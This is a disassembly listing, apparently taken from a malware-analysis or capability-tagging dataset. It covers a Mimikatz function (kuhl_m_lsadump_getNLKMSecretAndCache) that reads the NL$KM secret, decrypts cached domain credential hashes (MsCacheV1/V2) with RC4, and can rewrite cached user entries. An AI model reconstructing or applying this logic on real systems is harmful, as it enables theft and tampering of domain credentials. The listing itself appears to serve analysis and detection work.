Function at 0x47f10e
Capabilities:
Encrypt data using rc4 via systemfunction032
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x74
push ebx
push ebp
push esi
push edi
push 0x10
pop eax
mov dword [esp + 0x58], eax
mov edi, ecx
mov dword [esp + 0x5c], eax
mov ebx, 0x2800
lea eax, [esp + 0x70]
mov dword [esp + 0x14], edi
mov dword [esp + 0x60], eax
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x3c], ebx
push eax
push dword [esp + 0x98]
push dword [esp + 0x98]
push str.SecretsNL_KMCurrVal
call fcn.0047fb5d
add esp, 0x14
test eax, eax
je 0x47f6f2
mov ebp, dword [esp + 0x94]
xor esi, esi
test ebp, ebp
je 0x47f17f
mov eax, dword [ebp]
neg eax
sbb eax, eax
and eax, 0x20006
jmp 0x47f181
mov eax, esi
mov edx, dword [esp + 0x88]
lea ecx, [esp + 0x1c]
push ecx
or eax, 0x20019
push eax
push ecx
push str.Cache
mov ecx, edi
call fcn.0040bb68
add esp, 0x10
test eax, eax
je 0x47f6e8
cmp dword [esp + 0x8c], esi
je 0x47f225
push 0x4c75d0
call fcn.00409cda
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x50]
pop ecx
push eax
lea eax, [esp + 0x28]
push eax
push esi
push ecx
push str.NL_IterationCount
mov ecx, edi
call fcn.0040bf95
add esp, 0x14
test eax, eax
je 0x47f21a
mov edx, dword [esp + 0x24]
mov ecx, edx
mov eax, edx
and ecx, 0xfffffc00
shl eax, 0xa
cmp edx, ebx
cmova eax, ecx
mov ebx, eax
push ebx
push edx
push str._NL_IterationCount_is__u___u_real_iteration_s__n
mov dword [esp + 0x44], ebx
call fcn.00409cda
add esp, 0xc
cmp dword [esp + 0x24], esi
jne 0x47f225
push str._DCC1_mode___n
jmp 0x47f21f
push str._Iteration_is_set_to_default__10240__n
call fcn.00409cda
pop ecx
push ecx
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x38]
push ecx
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x50]
push eax
push ecx
push esi
push esi
push ecx
push esi
push esi
mov ecx, edi
call fcn.0040bd78
add esp, 0x2c
test eax, eax
je 0x47f6dd
mov eax, dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc eax
mov dword [esp + 0x30], eax
lea eax, [eax*2 + 2]
push eax
push 0x40
call esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x47f6dd
push dword [esp + 0x34]
push 0x40
call esi
mov ebx, eax
test ebx, ebx
je 0x47f6d3
xor ecx, ecx
mov dword [esp + 0x24], ecx
cmp dword [esp + 0x40], ecx
jbe 0x47f6cc
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
push ebx
lea eax, [esp + 0x44]
push eax
push ecx
lea eax, [esp + 0x54]
push eax
push esi
push ecx
mov ecx, edi
call fcn.0040c22e
add esp, 0x1c
test eax, eax
je 0x47f6b9
push 0xa
push str.NL_Control
push esi
call fcn.004afa4a
add esp, 0xc
test eax, eax
je 0x47f6b9
push 0x11
push str.NL_IterationCount
push esi
call fcn.004afa4a
add esp, 0xc
test eax, eax
je 0x47f6b9
test byte [ebx + 0x30], 1
je 0x47f6b9
push esi
push str._n__s__
call fcn.00409cda
pop ecx
pop ecx
lea ecx, [ebx + 0x20]
test ecx, ecx
je 0x47f32b
call fcn.0040f884
push dword [ebx + 0x10]
push dword [ebx + 0x10]
push str.__nRID_______:__08x___u__n
call fcn.00409cda
mov eax, dword [esp + 0x38]
lea ecx, [ebx + 0x40]
add eax, 0xffffffa0
add esp, 0xc
cmp dword [esp + 0x8c], 0
mov dword [esp + 0x20], eax
je 0x47f528
push 0
push ecx
push ecx
push dword [esp + 0x34]
lea edi, [ebx + 0x60]
push eax
mov edx, edi
call fcn.00403c2d
add esp, 0x14
test eax, eax
je 0x47f6b5
mov dl, 0x32
mov ecx, ebx
call fcn.0047f719
cmp dword [ebp + 0x2c], 0
lea ecx, [ebx + 0xa8]
mov ax, word [ebx]
mov word [esp + 0x52], ax
mov word [esp + 0x50], ax
mov dword [esp + 0x54], ecx
je 0x47f3c9
mov edx, dword [ebx + 0x84]
test edx, edx
je 0x47f3c9
mov eax, dword [esp + 0x20]
push dword [ebp + 0x30]
sub eax, edx
push dword [ebp + 0x2c]
lea ecx, [eax + 0x60]
add ecx, ebx
call fcn.0047f7a6
mov ax, word [esp + 0x58]
pop ecx
pop ecx
mov ecx, dword [esp + 0x54]
cmp dword [ebp], 0
je 0x47f6b5
movzx eax, ax
shr eax, 1
push eax
push ecx
push dword [ebp]
call fcn.004afa4a
add esp, 0xc
test eax, eax
jne 0x47f6b5
push str.__User_cache_replace_mode__2___n
call fcn.00409cda
cmp dword [ebp + 0x14], 0
pop ecx
je 0x47f41c
push dword [esp + 0x38]
lea eax, [esp + 0x54]
mov ecx, edi
push eax
lea edx, [ebp + 4]
call fcn.00404021
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
setns cl
jmp 0x47f430
cmp dword [ebp + 0x28], 0
je 0x47f42e
lea esi, [ebp + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebx + 0x60]
jmp 0x47f438
xor ecx, ecx
test ecx, ecx
je 0x47f510
push str.__MsCacheV2_:
call fcn.00409cda
pop ecx
push 0
push 0x10
pop edx
mov ecx, edi
call fcn.0040f762
mov dword [esp], 0x4c75d0
call fcn.00409cda
mov edx, dword [esp + 0x2c]
lea esi, [ebx + 0x50]
pop ecx
push 0x10
push esi
push dword [esp + 0x28]
mov ecx, 0x8004
push edi
push 0x10
call fcn.0040364a
add esp, 0x14
test eax, eax
je 0x47f6b1
push str.__Checksum__:
call fcn.00409cda
pop ecx
push 0
push 0x10
pop edx
mov ecx, esi
call fcn.0040f762
mov dword [esp], 0x4c75d0
call fcn.00409cda
pop ecx
push 1
lea eax, [ebx + 0x40]
mov edx, edi
push eax
push ecx
push dword [esp + 0x34]
push dword [esp + 0x30]
call fcn.00403c2d
mov esi, dword [esp + 0x2c]
add esp, 0x14
mov edi, dword [esp + 0x14]
test eax, eax
je 0x47f6b9
push dword [esp + 0x2c]
mov edx, dword [esp + 0x20]
push ebx
push dword [esp + 0x44]
push ecx
push esi
mov ecx, edi
call fcn.0040c04e
add esp, 0x14
test eax, eax
je 0x47f4fc
push str.__OK__n
call fcn.00409cda
pop ecx
jmp 0x47f6b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
call fcn.00409cda
pop ecx
jmp 0x47f4f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache______0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
jmp 0x47f6b5
mov edx, dword [esp + 0x28]
push 0x10
push dword [esp + 0x64]
push 0x10
push ecx
push dword [esp + 0x58]
mov ecx, 0x8003
call fcn.0040364a
add esp, 0x14
test eax, eax
je 0x47f708
mov eax, dword [esp + 0x20]
lea edi, [ebx + 0x60]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x68]
mov dword [esp + 0x70], edi
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
js 0x47f6fd
mov dl, 0x31
mov ecx, ebx
call fcn.0047f719
movzx eax, word [ebx]
lea ecx, [ebx + 0xa8]
mov word [esp + 0x52], ax
mov edx, eax
mov word [esp + 0x50], ax
mov dword [esp + 0x54], ecx
test ebp, ebp
je 0x47f6b5
cmp dword [ebp], 0
je 0x47f6b5
shr eax, 1
push eax
push ecx
push dword [ebp]
call fcn.004afa4a
add esp, 0xc
test eax, eax
jne 0x47f6b5
push str.__User_cache_replace_mode__1___n
call fcn.00409cda
cmp dword [ebp + 0x14], 0
pop ecx
je 0x47f5ea
lea eax, [esp + 0x50]
mov ecx, edi
push 0
push eax
lea edx, [ebp + 4]
call fcn.00404021
pop ecx
pop ecx
jmp 0x47f5fe
cmp dword [ebp + 0x28], 0
je 0x47f5fe
lea esi, [ebp + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x18]
lea edi, [ebx + 0x60]
lea eax, [esp + 0x50]
mov ecx, edi
push 0
push eax
lea edx, [ebp + 4]
call fcn.00404021
pop ecx
pop ecx
test eax, eax
js 0x47f6b5
push str.__MsCacheV1_:
call fcn.00409cda
pop ecx
push 0
push 0x10
pop edx
mov ecx, edi
call fcn.0040f762
mov dword [esp], 0x4c75d0
call fcn.00409cda
mov edx, dword [esp + 0x64]
lea esi, [ebx + 0x50]
pop ecx
push 0x10
push esi
push dword [esp + 0x28]
mov ecx, 0x8003
push edi
push 0x10
call fcn.0040364a
add esp, 0x14
test eax, eax
je 0x47f6b1
push str.__Checksum__:
call fcn.00409cda
pop ecx
push 0
push 0x10
pop edx
mov ecx, esi
call fcn.0040f762
mov dword [esp], 0x4c75d0
call fcn.00409cda
pop ecx
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x47f6a4
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
jmp 0x47f4cf
push eax
push str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptData2:_0x_08x_n
call fcn.00409cda
pop ecx
pop ecx
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0x24]
inc ecx
mov dword [esp + 0x24], ecx
cmp ecx, dword [esp + 0x40]
jb 0x47f29f
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [esp + 0x1c]
mov ecx, edi
call fcn.0040c3ef
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x74
ret
push eax
push str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptDecryptRC4_:_0x_08x_n
jmp 0x47f51c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_crypto_hmac__0x_08x__n
jmp 0x47f508